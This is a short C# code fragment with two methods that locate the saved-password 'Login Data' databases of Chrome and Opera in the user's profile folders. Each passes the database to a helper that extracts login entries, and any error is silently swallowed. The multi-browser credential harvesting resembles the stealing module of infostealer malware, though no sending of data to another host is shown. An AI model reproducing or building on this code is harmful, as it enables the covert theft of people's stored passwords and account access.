public static List <LoginData> GetLoginData() { try { string dataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Google\\Chrome\\User Data\\Default\\Login Data"); return(Chromium.GetLoginData(dataPath, BrowserName.Chrome)); } catch (Exception) { return(new List <LoginData>()); } }
public static List <LoginData> GetLoginData() { try { string dataPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\\Opera Stable\\Login Data"); return(Chromium.GetLoginData(dataPath, BrowserName.Opera)); } catch (Exception) { return(new List <LoginData>()); } }